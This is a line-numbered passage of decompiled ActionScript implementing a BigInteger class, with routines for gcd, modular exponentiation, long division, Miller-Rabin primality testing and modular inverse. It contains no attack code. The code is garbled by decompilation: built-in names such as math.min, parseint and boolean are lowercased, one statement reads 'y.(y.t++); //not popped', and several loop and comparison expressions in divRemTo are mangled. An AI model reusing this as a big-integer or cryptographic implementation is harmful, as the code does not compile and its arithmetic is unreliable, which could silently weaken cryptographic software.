  8393.  
  8394. if (_local2.compareTo(_local3) < 0){
  8395.  
  8396. _local6 = _local2;
  8397.  
  8398. _local2 = _local3;
  8399.  
  8400. _local3 = _local6;
  8401.  
  8402. };
  8403.  
  8404. _local4 = _local2.getLowestSetBit();
  8405.  
  8406. _local5 = _local3.getLowestSetBit();
  8407.  
  8408. if (_local5 < 0){
  8409.  
  8410. return (_local2);
  8411.  
  8412. };
  8413.  
  8414. if (_local4 < _local5){
  8415.  
  8416. _local5 = _local4;
  8417.  
  8418. };
  8419.  
  8420. if (_local5 > 0){
  8421.  
  8422. _local2.rShiftTo(_local5, _local2);
  8423.  
  8424. _local3.rShiftTo(_local5, _local3);
  8425.  
  8426. };
  8427.  
  8428. while (_local2.sigNum() > 0) {
  8429.  
  8430. _local4 = _local2.getLowestSetBit();
  8431.  
  8432. if (_local4 > 0){
  8433.  
  8434. _local2.rShiftTo(_local4, _local2);
  8435.  
  8436. };
  8437.  
  8438. _local4 = _local3.getLowestSetBit();
  8439.  
  8440. if (_local4 > 0){
  8441.  
  8442. _local3.rShiftTo(_local4, _local3);
  8443.  
  8444. };
  8445.  
  8446. if (_local2.compareTo(_local3) >= 0){
  8447.  
  8448. _local2.subTo(_local3, _local2);
  8449.  
  8450. _local2.rShiftTo(1, _local2);
  8451.  
  8452. } else {
  8453.  
  8454. _local3.subTo(_local2, _local3);
  8455.  
  8456. _local3.rShiftTo(1, _local3);
  8457.  
  8458. };
  8459.  
  8460. };
  8461.  
  8462. if (_local5 > 0){
  8463.  
  8464. _local3.lShiftTo(_local5, _local3);
  8465.  
  8466. };
  8467.  
  8468. return (_local3);
  8469.  
  8470. }
  8471.  
  8472. bi_internal function multiplyLowerTo(_arg1:BigInteger, _arg2:int, _arg3:BigInteger):void{
  8473.  
  8474. var _local4:int;
  8475.  
  8476. var _local5:int;
  8477.  
  8478. _local4 = math.min((t + _arg1.t), _arg2);
  8479.  
  8480. _arg3.s = 0;
  8481.  
  8482. _arg3.t = _local4;
  8483.  
  8484. while (_local4 > 0) {
  8485.  
  8486. --_local4;
  8487.  
  8488. var _local6 = _local4;
  8489.  
  8490. _arg3.a[_local6] = 0;
  8491.  
  8492. };
  8493.  
  8494. _local5 = (_arg3.t - t);
  8495.  
  8496. while (_local4 < _local5) {
  8497.  
  8498. _arg3.a[(_local4 + t)] = am(0, _arg1.a[_local4], _arg3, _local4, 0, t);
  8499.  
  8500. _local4++;
  8501.  
  8502. };
  8503.  
  8504. _local5 = math.min(_arg1.t, _arg2);
  8505.  
  8506. while (_local4 < _local5) {
  8507.  
  8508. am(0, _arg1.a[_local4], _arg3, _local4, 0, (_arg2 - _local4));
  8509.  
  8510. _local4++;
  8511.  
  8512. };
  8513.  
  8514. _arg3.clamp();
  8515.  
  8516. }
  8517.  
  8518. public function modPowInt(_arg1:int, _arg2:BigInteger):BigInteger{
  8519.  
  8520. var _local3:IReduction;
  8521.  
  8522. if ((((_arg1 < 0x0100)) || (_arg2.isEven()))){
  8523.  
  8524. _local3 = new ClassicReduction(_arg2);
  8525.  
  8526. } else {
  8527.  
  8528. _local3 = new MontgomeryReduction(_arg2);
  8529.  
  8530. };
  8531.  
  8532. return (exp(_arg1, _local3));
  8533.  
  8534. }
  8535.  
  8536. bi_internal function intAt(_arg1:string, _arg2:int):int{
  8537.  
  8538. return (parseint(_arg1.charat(_arg2), 36));
  8539.  
  8540. }
  8541.  
  8542. public function testBit(_arg1:int):boolean{
  8543.  
  8544. var _local2:int;
  8545.  
  8546. _local2 = math.floor((_arg1 / DB));
  8547.  
  8548. if (_local2 >= t){
  8549.  
  8550. return (!((s == 0)));
  8551.  
  8552. };
  8553.  
  8554. return (!(((a[_local2] & (1 << (_arg1 % DB))) == 0)));
  8555.  
  8556. }
  8557.  
  8558. bi_internal function exp(_arg1:int, _arg2:IReduction):BigInteger{
  8559.  
  8560. var _local3:BigInteger;
  8561.  
  8562. var _local4:BigInteger;
  8563.  
  8564. var _local5:BigInteger;
  8565.  
  8566. var _local6:int;
  8567.  
  8568. var _local7:BigInteger;
  8569.  
  8570. if ((((_arg1 > 0xFFFFFFFF)) || ((_arg1 < 1)))){
  8571.  
  8572. return (ONE);
  8573.  
  8574. };
  8575.  
  8576. _local3 = nbi();
  8577.  
  8578. _local4 = nbi();
  8579.  
  8580. _local5 = _arg2.convert(this);
  8581.  
  8582. _local6 = (nbits(_arg1) - 1);
  8583.  
  8584. _local5.copyTo(_local3);
  8585.  
  8586. while (--_local6 >= 0) {
  8587.  
  8588. _arg2.sqrTo(_local3, _local4);
  8589.  
  8590. if ((_arg1 & (1 << _local6)) > 0){
  8591.  
  8592. _arg2.mulTo(_local4, _local5, _local3);
  8593.  
  8594. } else {
  8595.  
  8596. _local7 = _local3;
  8597.  
  8598. _local3 = _local4;
  8599.  
  8600. _local4 = _local7;
  8601.  
  8602. };
  8603.  
  8604. };
  8605.  
  8606. return (_arg2.revert(_local3));
  8607.  
  8608. }
  8609.  
  8610. public function toArray(_arg1:ByteArray):uint{
  8611.  
  8612. var _local2:int;
  8613.  
  8614. var _local3:int;
  8615.  
  8616. var _local4:int;
  8617.  
  8618. var _local5:int;
  8619.  
  8620. var _local6:int;
  8621.  
  8622. var _local7:boolean;
  8623.  
  8624. var _local8:int;
  8625.  
  8626. _local2 = 8;
  8627.  
  8628. _local3 = ((1 << 8) - 1);
  8629.  
  8630. _local4 = 0;
  8631.  
  8632. _local5 = t;
  8633.  
  8634. _local6 = (DB - ((_local5 * DB) % _local2));
  8635.  
  8636. _local7 = false;
  8637.  
  8638. _local8 = 0;
  8639.  
  8640. var _temp1 = _local5;
  8641.  
  8642. _local5 = (_local5 - 1);
  8643.  
  8644. if (_temp1 > 0){
  8645.  
  8646. if ((((_local6 < DB)) && (((_local4 = (a[_local5] >> _local6)) > 0)))){
  8647.  
  8648. _local7 = true;
  8649.  
  8650. _arg1.writeByte(_local4);
  8651.  
  8652. _local8++;
  8653.  
  8654. };
  8655.  
  8656. while (_local5 >= 0) {
  8657.  
  8658. if (_local6 < _local2){
  8659.  
  8660. _local4 = ((a[_local5] & ((1 << _local6) - 1)) << (_local2 - _local6));
  8661.  
  8662. var _temp2 = _local4;
  8663.  
  8664. _local5 = (_local5 - 1);
  8665.  
  8666. _local6 = (_local6 + (DB - _local2));
  8667.  
  8668. _local4 = (_temp2 | (a[_local5] >> _local6));
  8669.  
  8670. } else {
  8671.  
  8672. _local6 = (_local6 - _local2);
  8673.  
  8674. _local4 = ((a[_local5] >> _local6) & _local3);
  8675.  
  8676. if (_local6 <= 0){
  8677.  
  8678. _local6 = (_local6 + DB);
  8679.  
  8680. _local5--;
  8681.  
  8682. };
  8683.  
  8684. };
  8685.  
  8686. if (_local4 > 0){
  8687.  
  8688. _local7 = true;
  8689.  
  8690. };
  8691.  
  8692. if (_local7){
  8693.  
  8694. _arg1.writeByte(_local4);
  8695.  
  8696. _local8++;
  8697.  
  8698. };
  8699.  
  8700. };
  8701.  
  8702. };
  8703.  
  8704. return (_local8);
  8705.  
  8706. }
  8707.  
  8708. public function dispose():void{
  8709.  
  8710. var _local1:random;
  8711.  
  8712. var _local2:uint;
  8713.  
  8714. _local1 = new random();
  8715.  
  8716. _local2 = 0;
  8717.  
  8718. while (_local2 < a.length) {
  8719.  
  8720. a[_local2] = _local1.nextByte();
  8721.  
  8722. delete a[_local2];
  8723.  
  8724. _local2++;
  8725.  
  8726. };
  8727.  
  8728. a = null;
  8729.  
  8730. t = 0;
  8731.  
  8732. s = 0;
  8733.  
  8734. Memory.gc();
  8735.  
  8736. }
  8737.  
  8738. private function lbit(_arg1:int):int{
  8739.  
  8740. var _local2:int;
  8741.  
  8742. if (_arg1 == 0){
  8743.  
  8744. return (-1);
  8745.  
  8746. };
  8747.  
  8748. _local2 = 0;
  8749.  
  8750. if ((_arg1 & 0xFFFF) == 0){
  8751.  
  8752. _arg1 = (_arg1 >> 16);
  8753.  
  8754. _local2 = (_local2 + 16);
  8755.  
  8756. };
  8757.  
  8758. if ((_arg1 & 0xFF) == 0){
  8759.  
  8760. _arg1 = (_arg1 >> 8);
  8761.  
  8762. _local2 = (_local2 + 8);
  8763.  
  8764. };
  8765.  
  8766. if ((_arg1 & 15) == 0){
  8767.  
  8768. _arg1 = (_arg1 >> 4);
  8769.  
  8770. _local2 = (_local2 + 4);
  8771.  
  8772. };
  8773.  
  8774. if ((_arg1 & 3) == 0){
  8775.  
  8776. _arg1 = (_arg1 >> 2);
  8777.  
  8778. _local2 = (_local2 + 2);
  8779.  
  8780. };
  8781.  
  8782. if ((_arg1 & 1) == 0){
  8783.  
  8784. _local2++;
  8785.  
  8786. };
  8787.  
  8788. return (_local2);
  8789.  
  8790. }
  8791.  
  8792. bi_internal function divRemTo(_arg1:BigInteger, _arg2:BigInteger=null, _arg3:BigInteger=null):void{
  8793.  
  8794. var pm:* = null;
  8795.  
  8796. var pt:* = null;
  8797.  
  8798. var y:* = null;
  8799.  
  8800. var ts:* = 0;
  8801.  
  8802. var ms:* = 0;
  8803.  
  8804. var nsh:* = 0;
  8805.  
  8806. var ys:* = 0;
  8807.  
  8808. var y0:* = 0;
  8809.  
  8810. var yt:* = nan;
  8811.  
  8812. var d1:* = nan;
  8813.  
  8814. var d2:* = nan;
  8815.  
  8816. var e:* = nan;
  8817.  
  8818. var i:* = 0;
  8819.  
  8820. var j:* = 0;
  8821.  
  8822. var t:* = null;
  8823.  
  8824. var qd:* = 0;
  8825.  
  8826. var m:* = _arg1;
  8827.  
  8828. var q = _arg2;
  8829.  
  8830. var r = _arg3;
  8831.  
  8832. pm = m.abs();
  8833.  
  8834. if (pm.t <= 0){
  8835.  
  8836. return;
  8837.  
  8838. };
  8839.  
  8840. pt = abs();
  8841.  
  8842. if (pt.t < pm.t){
  8843.  
  8844. if (q != null){
  8845.  
  8846. q.fromInt(0);
  8847.  
  8848. };
  8849.  
  8850. if (r != null){
  8851.  
  8852. copyTo(r);
  8853.  
  8854. };
  8855.  
  8856. return;
  8857.  
  8858. };
  8859.  
  8860. if (r == null){
  8861.  
  8862. r = nbi();
  8863.  
  8864. };
  8865.  
  8866. y = nbi();
  8867.  
  8868. ts = s;
  8869.  
  8870. ms = m.s;
  8871.  
  8872. nsh = (DB - nbits(pm.a[(pm.t - 1)]));
  8873.  
  8874. if (nsh > 0){
  8875.  
  8876. pm.lShiftTo(nsh, y);
  8877.  
  8878. pt.lShiftTo(nsh, r);
  8879.  
  8880. } else {
  8881.  
  8882. pm.copyTo(y);
  8883.  
  8884. pt.copyTo(r);
  8885.  
  8886. };
  8887.  
  8888. ys = y.t;
  8889.  
  8890. y0 = y.a[(ys - 1)];
  8891.  
  8892. if (y0 == 0){
  8893.  
  8894. return;
  8895.  
  8896. };
  8897.  
  8898. yt = ((y0 * (1 << F1)) + ((ys)>1) ? (y.a[(ys - 2)] >> F2) : 0);
  8899.  
  8900. d1 = (FV / yt);
  8901.  
  8902. d2 = ((1 << F1) / yt);
  8903.  
  8904. e = (1 << F2);
  8905.  
  8906. i = r.t;
  8907.  
  8908. j = (i - ys);
  8909.  
  8910. t = ((q)==null) ? nbi() : q;
  8911.  
  8912. y.dlShiftTo(j, t);
  8913.  
  8914. if (r.compareTo(t) >= 0){
  8915.  
  8916. var _local5 = r.t++;
  8917.  
  8918. r.a[_local5] = 1;
  8919.  
  8920. r.subTo(t, r);
  8921.  
  8922. };
  8923.  
  8924. ONE.dlShiftTo(ys, t);
  8925.  
  8926. t.subTo(y, y);
  8927.  
  8928. while (y.t < ys) {
  8929.  
  8930. y.(y.t++); //not popped
  8931.  
  8932. };
  8933.  
  8934. while ((j = (j - 1)), (j - 1) >= 0) {
  8935.  
  8936. i = (i - 1);
  8937.  
  8938. qd = ((r.a[(i - 1)])==y0) ? DM : ((number(r.a[i]) * d1) + ((number(r.a[(i - 1)]) + e) * d2));
  8939.  
  8940. if ((r.a[i] = (r.a[i] + y.am(0, qd, r, j, 0, ys))) < qd){
  8941.  
  8942. y.dlShiftTo(j, t);
  8943.  
  8944. r.subTo(t, r);
  8945.  
  8946. while ((qd = (qd - 1)), r.a[i] < (qd - 1)) {
  8947.  
  8948. r.subTo(t, r);
  8949.  
  8950. };
  8951.  
  8952. };
  8953.  
  8954. };
  8955.  
  8956. if (q != null){
  8957.  
  8958. r.drShiftTo(ys, q);
  8959.  
  8960. if (ts != ms){
  8961.  
  8962. ZERO.subTo(q, q);
  8963.  
  8964. };
  8965.  
  8966. };
  8967.  
  8968. r.t = ys;
  8969.  
  8970. r.clamp();
  8971.  
  8972. if (nsh > 0){
  8973.  
  8974. r.rShiftTo(nsh, r);
  8975.  
  8976. };
  8977.  
  8978. if (ts < 0){
  8979.  
  8980. ZERO.subTo(r, r);
  8981.  
  8982. };
  8983.  
  8984. }
  8985.  
  8986. public function remainder(_arg1:BigInteger):BigInteger{
  8987.  
  8988. var _local2:BigInteger;
  8989.  
  8990. _local2 = new BigInteger();
  8991.  
  8992. divRemTo(_arg1, null, _local2);
  8993.  
  8994. return (_local2);
  8995.  
  8996. }
  8997.  
  8998. public function divide(_arg1:BigInteger):BigInteger{
  8999.  
  9000. var _local2:BigInteger;
  9001.  
  9002. _local2 = new BigInteger();
  9003.  
  9004. divRemTo(_arg1, _local2, null);
  9005.  
  9006. return (_local2);
  9007.  
  9008. }
  9009.  
  9010. public function divideAndRemainder(_arg1:BigInteger):array{
  9011.  
  9012. var _local2:BigInteger;
  9013.  
  9014. var _local3:BigInteger;
  9015.  
  9016. _local2 = new BigInteger();
  9017.  
  9018. _local3 = new BigInteger();
  9019.  
  9020. divRemTo(_arg1, _local2, _local3);
  9021.  
  9022. return ([_local2, _local3]);
  9023.  
  9024. }
  9025.  
  9026. public function valueof():number{
  9027.  
  9028. var _local1:number;
  9029.  
  9030. var _local2:number;
  9031.  
  9032. var _local3:uint;
  9033.  
  9034. _local1 = 1;
  9035.  
  9036. _local2 = 0;
  9037.  
  9038. _local3 = 0;
  9039.  
  9040. while (_local3 < t) {
  9041.  
  9042. _local2 = (_local2 + (a[_local3] * _local1));
  9043.  
  9044. _local1 = (_local1 * DV);
  9045.  
  9046. _local3++;
  9047.  
  9048. };
  9049.  
  9050. return (_local2);
  9051.  
  9052. }
  9053.  
  9054. public function shiftLeft(_arg1:int):BigInteger{
  9055.  
  9056. var _local2:BigInteger;
  9057.  
  9058. _local2 = new BigInteger();
  9059.  
  9060. if (_arg1 < 0){
  9061.  
  9062. rShiftTo(-(_arg1), _local2);
  9063.  
  9064. } else {
  9065.  
  9066. lShiftTo(_arg1, _local2);
  9067.  
  9068. };
  9069.  
  9070. return (_local2);
  9071.  
  9072. }
  9073.  
  9074. public function multiply(_arg1:BigInteger):BigInteger{
  9075.  
  9076. var _local2:BigInteger;
  9077.  
  9078. _local2 = new BigInteger();
  9079.  
  9080. multiplyTo(_arg1, _local2);
  9081.  
  9082. return (_local2);
  9083.  
  9084. }
  9085.  
  9086. bi_internal function am(_arg1:int, _arg2:int, _arg3:BigInteger, _arg4:int, _arg5:int, _arg6:int):int{
  9087.  
  9088. var _local7:int;
  9089.  
  9090. var _local8:int;
  9091.  
  9092. var _local9:int;
  9093.  
  9094. var _local10:int;
  9095.  
  9096. var _local11:int;
  9097.  
  9098. _local7 = (_arg2 & 32767);
  9099.  
  9100. _local8 = (_arg2 >> 15);
  9101.  
  9102. while (--_arg6 >= 0) {
  9103.  
  9104. _local9 = (a[_arg1] & 32767);
  9105.  
  9106. var _temp1 = _arg1;
  9107.  
  9108. _arg1 = (_arg1 + 1);
  9109.  
  9110. _local10 = (a[_temp1] >> 15);
  9111.  
  9112. _local11 = ((_local8 * _local9) + (_local10 * _local7));
  9113.  
  9114. _local9 = ((((_local7 * _local9) + ((_local11 & 32767) << 15)) + _arg3.a[_arg4]) + (_arg5 & 1073741823));
  9115.  
  9116. _arg5 = ((((_local9 >>> 30) + (_local11 >>> 15)) + (_local8 * _local10)) + (_arg5 >>> 30));
  9117.  
  9118. var _temp2 = _arg4;
  9119.  
  9120. _arg4 = (_arg4 + 1);
  9121.  
  9122. var _local12 = _temp2;
  9123.  
  9124. _arg3.a[_local12] = (_local9 & 1073741823);
  9125.  
  9126. };
  9127.  
  9128. return (_arg5);
  9129.  
  9130. }
  9131.  
  9132. bi_internal function drShiftTo(_arg1:int, _arg2:BigInteger):void{
  9133.  
  9134. var _local3:int;
  9135.  
  9136. _local3 = _arg1;
  9137.  
  9138. while (_local3 < t) {
  9139.  
  9140. _arg2.a[(_local3 - _arg1)] = a[_local3];
  9141.  
  9142. _local3++;
  9143.  
  9144. };
  9145.  
  9146. _arg2.t = math.max((t - _arg1), 0);
  9147.  
  9148. _arg2.s = s;
  9149.  
  9150. }
  9151.  
  9152. public function add(_arg1:BigInteger):BigInteger{
  9153.  
  9154. var _local2:BigInteger;
  9155.  
  9156. _local2 = new BigInteger();
  9157.  
  9158. addTo(_arg1, _local2);
  9159.  
  9160. return (_local2);
  9161.  
  9162. }
  9163.  
  9164. bi_internal function multiplyUpperTo(_arg1:BigInteger, _arg2:int, _arg3:BigInteger):void{
  9165.  
  9166. var _local4:int;
  9167.  
  9168. _arg2--;
  9169.  
  9170. _local4 = (_arg3.t = ((t + _arg1.t) - _arg2));
  9171.  
  9172. _arg3.s = 0;
  9173.  
  9174. while (--_local4 >= 0) {
  9175.  
  9176. _arg3.a[_local4] = 0;
  9177.  
  9178. };
  9179.  
  9180. _local4 = math.max((_arg2 - t), 0);
  9181.  
  9182. while (_local4 < _arg1.t) {
  9183.  
  9184. _arg3.a[((t + _local4) - _arg2)] = am((_arg2 - _local4), _arg1.a[_local4], _arg3, 0, 0, ((t + _local4) - _arg2));
  9185.  
  9186. _local4++;
  9187.  
  9188. };
  9189.  
  9190. _arg3.clamp();
  9191.  
  9192. _arg3.drShiftTo(1, _arg3);
  9193.  
  9194. }
  9195.  
  9196. protected function nbi(){
  9197.  
  9198. return (new BigInteger());
  9199.  
  9200. }
  9201.  
  9202. protected function millerRabin(_arg1:int):boolean{
  9203.  
  9204. var _local2:BigInteger;
  9205.  
  9206. var _local3:int;
  9207.  
  9208. var _local4:BigInteger;
  9209.  
  9210. var _local5:BigInteger;
  9211.  
  9212. var _local6:int;
  9213.  
  9214. var _local7:BigInteger;
  9215.  
  9216. var _local8:int;
  9217.  
  9218. _local2 = subtract(BigInteger.ONE);
  9219.  
  9220. _local3 = _local2.getLowestSetBit();
  9221.  
  9222. if (_local3 <= 0){
  9223.  
  9224. return (false);
  9225.  
  9226. };
  9227.  
  9228. _local4 = _local2.shiftRight(_local3);
  9229.  
  9230. _arg1 = ((_arg1 + 1) >> 1);
  9231.  
  9232. if (_arg1 > lowprimes.length){
  9233.  
  9234. _arg1 = lowprimes.length;
  9235.  
  9236. };
  9237.  
  9238. _local5 = new BigInteger();
  9239.  
  9240. _local6 = 0;
  9241.  
  9242. while (_local6 < _arg1) {
  9243.  
  9244. _local5.fromInt(lowprimes[_local6]);
  9245.  
  9246. _local7 = _local5.modPow(_local4, this);
  9247.  
  9248. if (((!((_local7.compareTo(BigInteger.ONE) == 0))) && (!((_local7.compareTo(_local2) == 0))))){
  9249.  
  9250. _local8 = 1;
  9251.  
  9252. while ((((_local8++ < _local3)) && (!((_local7.compareTo(_local2) == 0))))) {
  9253.  
  9254. _local7 = _local7.modPowInt(2, this);
  9255.  
  9256. if (_local7.compareTo(BigInteger.ONE) == 0){
  9257.  
  9258. return (false);
  9259.  
  9260. };
  9261.  
  9262. };
  9263.  
  9264. if (_local7.compareTo(_local2) != 0){
  9265.  
  9266. return (false);
  9267.  
  9268. };
  9269.  
  9270. };
  9271.  
  9272. _local6++;
  9273.  
  9274. };
  9275.  
  9276. return (true);
  9277.  
  9278. }
  9279.  
  9280. bi_internal function dMultiply(_arg1:int):void{
  9281.  
  9282. a[t] = am(0, (_arg1 - 1), this, 0, 0, t);
  9283.  
  9284. t++;
  9285.  
  9286. clamp();
  9287.  
  9288. }
  9289.  
  9290. private function op_andnot(_arg1:int, _arg2:int):int{
  9291.  
  9292. return ((_arg1 & ~(_arg2)));
  9293.  
  9294. }
  9295.  
  9296. bi_internal function clamp():void{
  9297.  
  9298. var _local1:int;
  9299.  
  9300. _local1 = (s & DM);
  9301.  
  9302. while ((((t > 0)) && ((a[(t - 1)] == _local1)))) {
  9303.  
  9304. t--;
  9305.  
  9306. };
  9307.  
  9308. }
  9309.  
  9310. bi_internal function invDigit():int{
  9311.  
  9312. var _local1:int;
  9313.  
  9314. var _local2:int;
  9315.  
  9316. if (t < 1){
  9317.  
  9318. return (0);
  9319.  
  9320. };
  9321.  
  9322. _local1 = a[0];
  9323.  
  9324. if ((_local1 & 1) == 0){
  9325.  
  9326. return (0);
  9327.  
  9328. };
  9329.  
  9330. _local2 = (_local1 & 3);
  9331.  
  9332. _local2 = ((_local2 * (2 - ((_local1 & 15) * _local2))) & 15);
  9333.  
  9334. _local2 = ((_local2 * (2 - ((_local1 & 0xFF) * _local2))) & 0xFF);
  9335.  
  9336. _local2 = ((_local2 * (2 - (((_local1 & 0xFFFF) * _local2) & 0xFFFF))) & 0xFFFF);
  9337.  
  9338. _local2 = ((_local2 * (2 - ((_local1 * _local2) % DV))) % DV);
  9339.  
  9340. return (((_local2)>0) ? (DV - _local2) : -(_local2));
  9341.  
  9342. }
  9343.  
  9344. protected function changeBit(_arg1:int, _arg2:function):BigInteger{
  9345.  
  9346. var _local3:BigInteger;
  9347.  
  9348. _local3 = BigInteger.ONE.shiftLeft(_arg1);
  9349.  
  9350. bitwiseTo(_local3, _arg2, _local3);
  9351.  
  9352. return (_local3);
  9353.  
  9354. }
  9355.  
  9356. public function equals(_arg1:BigInteger):boolean{
  9357.  
  9358. return ((compareTo(_arg1) == 0));
  9359.  
  9360. }
  9361.  
  9362. public function compareTo(_arg1:BigInteger):int{
  9363.  
  9364. var _local2:int;
  9365.  
  9366. var _local3:int;
  9367.  
  9368. _local2 = (s - _arg1.s);
  9369.  
  9370. if (_local2 != 0){
  9371.  
  9372. return (_local2);
  9373.  
  9374. };
  9375.  
  9376. _local3 = t;
  9377.  
  9378. _local2 = (_local3 - _arg1.t);
  9379.  
  9380. if (_local2 != 0){
  9381.  
  9382. return (_local2);
  9383.  
  9384. };
  9385.  
  9386. while (--_local3 >= 0) {
  9387.  
  9388. _local2 = (a[_local3] - _arg1.a[_local3]);
  9389.  
  9390. if (_local2 != 0){
  9391.  
  9392. return (_local2);
  9393.  
  9394. };
  9395.  
  9396. };
  9397.  
  9398. return (0);
  9399.  
  9400. }
  9401.  
  9402. public function shiftRight(_arg1:int):BigInteger{
  9403.  
  9404. var _local2:BigInteger;
  9405.  
  9406. _local2 = new BigInteger();
  9407.  
  9408. if (_arg1 < 0){
  9409.  
  9410. lShiftTo(-(_arg1), _local2);
  9411.  
  9412. } else {
  9413.  
  9414. rShiftTo(_arg1, _local2);
  9415.  
  9416. };
  9417.  
  9418. return (_local2);
  9419.  
  9420. }
  9421.  
  9422. bi_internal function multiplyTo(_arg1:BigInteger, _arg2:BigInteger):void{
  9423.  
  9424. var _local3:BigInteger;
  9425.  
  9426. var _local4:BigInteger;
  9427.  
  9428. var _local5:int;
  9429.  
  9430. _local3 = abs();
  9431.  
  9432. _local4 = _arg1.abs();
  9433.  
  9434. _local5 = _local3.t;
  9435.  
  9436. _arg2.t = (_local5 + _local4.t);
  9437.  
  9438. while (--_local5 >= 0) {
  9439.  
  9440. _arg2.a[_local5] = 0;
  9441.  
  9442. };
  9443.  
  9444. _local5 = 0;
  9445.  
  9446. while (_local5 < _local4.t) {
  9447.  
  9448. _arg2.a[(_local5 + _local3.t)] = _local3.am(0, _local4.a[_local5], _arg2, _local5, 0, _local3.t);
  9449.  
  9450. _local5++;
  9451.  
  9452. };
  9453.  
  9454. _arg2.s = 0;
  9455.  
  9456. _arg2.clamp();
  9457.  
  9458. if (s != _arg1.s){
  9459.  
  9460. ZERO.subTo(_arg2, _arg2);
  9461.  
  9462. };
  9463.  
  9464. }
  9465.  
  9466. public function bitCount():int{
  9467.  
  9468. var _local1:int;
  9469.  
  9470. var _local2:int;
  9471.  
  9472. var _local3:int;
  9473.  
  9474. _local1 = 0;
  9475.  
  9476. _local2 = (s & DM);
  9477.  
  9478. _local3 = 0;
  9479.  
  9480. while (_local3 < t) {
  9481.  
  9482. _local1 = (_local1 + cbit((a[_local3] ^ _local2)));
  9483.  
  9484. _local3++;
  9485.  
  9486. };
  9487.  
  9488. return (_local1);
  9489.  
  9490. }
  9491.  
  9492. public function byteValue():int{
  9493.  
  9494. return (((t)==0) ? s : ((a[0] << 24) >> 24));
  9495.  
  9496. }
  9497.  
  9498. private function cbit(_arg1:int):int{
  9499.  
  9500. var _local2:uint;
  9501.  
  9502. _local2 = 0;
  9503.  
  9504. while (_arg1 != 0) {
  9505.  
  9506. _arg1 = (_arg1 & (_arg1 - 1));
  9507.  
  9508. _local2++;
  9509.  
  9510. };
  9511.  
  9512. return (_local2);
  9513.  
  9514. }
  9515.  
  9516. bi_internal function rShiftTo(_arg1:int, _arg2:BigInteger):void{
  9517.  
  9518. var _local3:int;
  9519.  
  9520. var _local4:int;
  9521.  
  9522. var _local5:int;
  9523.  
  9524. var _local6:int;
  9525.  
  9526. var _local7:int;
  9527.  
  9528. _arg2.s = s;
  9529.  
  9530. _local3 = (_arg1 / DB);
  9531.  
  9532. if (_local3 >= t){
  9533.  
  9534. _arg2.t = 0;
  9535.  
  9536. return;
  9537.  
  9538. };
  9539.  
  9540. _local4 = (_arg1 % DB);
  9541.  
  9542. _local5 = (DB - _local4);
  9543.  
  9544. _local6 = ((1 << _local4) - 1);
  9545.  
  9546. _arg2.a[0] = (a[_local3] >> _local4);
  9547.  
  9548. _local7 = (_local3 + 1);
  9549.  
  9550. while (_local7 < t) {
  9551.  
  9552. _arg2.a[((_local7 - _local3) - 1)] = (_arg2.a[((_local7 - _local3) - 1)] | ((a[_local7] & _local6) << _local5));
  9553.  
  9554. _arg2.a[(_local7 - _local3)] = (a[_local7] >> _local4);
  9555.  
  9556. _local7++;
  9557.  
  9558. };
  9559.  
  9560. if (_local4 > 0){
  9561.  
  9562. _arg2.a[((t - _local3) - 1)] = (_arg2.a[((t - _local3) - 1)] | ((s & _local6) << _local5));
  9563.  
  9564. };
  9565.  
  9566. _arg2.t = (t - _local3);
  9567.  
  9568. _arg2.clamp();
  9569.  
  9570. }
  9571.  
  9572. public function modInverse(_arg1:BigInteger):BigInteger{
  9573.  
  9574. var _local2:boolean;
  9575.  
  9576. var _local3:BigInteger;
  9577.  
  9578. var _local4:BigInteger;
  9579.  
  9580. var _local5:BigInteger;
  9581.  
  9582. var _local6:BigInteger;
  9583.  
  9584. var _local7:BigInteger;
  9585.  
  9586. var _local8:BigInteger;
  9587.  
  9588. _local2 = _arg1.isEven();
  9589.  
  9590. if (((((isEven()) && (_local2))) || ((_arg1.sigNum() == 0)))){
  9591.  
  9592. return (BigInteger.ZERO);
  9593.  
  9594. };
  9595.  
  9596. _local3 = _arg1.clone();
  9597.  
  9598. _local4 = clone();
  9599.  
  9600. _local5 = nbv(1);
  9601.  
  9602. _local6 = nbv(0);
  9603.  
  9604. _local7 = nbv(0);
  9605.  
  9606. _local8 = nbv(1);
  9607.  
  9608. while (_local3.sigNum() != 0) {
  9609.  
  9610. while (_local3.isEven()) {
  9611.  
  9612. _local3.rShiftTo(1, _local3);
  9613.  
  9614. if (_local2){
  9615.  
  9616. if (((!(_local5.isEven())) || (!(_local6.isEven())))){
  9617.  
  9618. _local5.addTo(this, _local5);
  9619.  
  9620. _local6.subTo(_arg1, _local6);
  9621.  
  9622. };
  9623.  
  9624. _local5.rShiftTo(1, _local5);
  9625.  
  9626. } else {
  9627.  
  9628. if (!_local6.isEven()){
  9629.  
  9630. _local6.subTo(_arg1, _local6);
  9631.  
  9632. };
  9633.  
  9634. };
  9635.  
  9636. _local6.rShiftTo(1, _local6);
  9637.  
  9638. };
  9639.  
  9640. while (_local4.isEven()) {
  9641.  
  9642. _local4.rShiftTo(1, _local4);
  9643.  
  9644. if (_local2){
  9645.  
  9646. if (((!(_local7.isEven())) || (!(_local8.isEven())))){
  9647.  
  9648. _local7.addTo(this, _local7);
  9649.  
  9650. _local8.subTo(_arg1, _local8);
  9651.  
  9652. };
  9653.  
  9654. _local7.rShiftTo(1, _local7);
  9655.  
  9656. } else {
  9657.  
  9658. if (!_local8.isEven()){
  9659.  
  9660. _local8.subTo(_arg1, _local8);
  9661.  
  9662. };
  9663.  
  9664. };
  9665.  
  9666. _local8.rShiftTo(1, _local8);
  9667.  
  9668. };
  9669.  
  9670. if (_local3.compareTo(_local4) >= 0){
  9671.  
  9672. _local3.subTo(_local4, _local3);
  9673.  
  9674. if (_local2){
  9675.  
  9676. _local5.subTo(_local7, _local5);
  9677.  
  9678. };
  9679.  
  9680. _local6.subTo(_local8, _local6);
  9681.  
  9682. } else {
  9683.  
  9684. _local4.subTo(_local3, _local4);
  9685.  
  9686. if (_local2){
  9687.  
  9688. _local7.subTo(_local5, _local7);
  9689.  
  9690. };
  9691.  
  9692. _local8.subTo(_local6, _local8);
  9693.  
  9694. };
  9695.  
  9696. };
  9697.  
  9698. if (_local4.compareTo(BigInteger.ONE) != 0){
  9699.  
  9700. return (BigInteger.ZERO);
  9701.  
  9702. };
  9703.  
  9704. if (_local8.compareTo(_arg1) >= 0){
  9705.  
  9706. return (_local8.subtract(_arg1));
  9707.  
  9708. };
  9709.  
  9710. if (_local8.sigNum() < 0){
  9711.  
  9712. _local8.addTo(_arg1, _local8);
  9713.  
  9714. } else {
  9715.  
  9716. return (_local8);
  9717.  
  9718. };
  9719.  
  9720. if (_local8.sigNum() < 0){
  9721.  
  9722. return (_local8.add(_arg1));
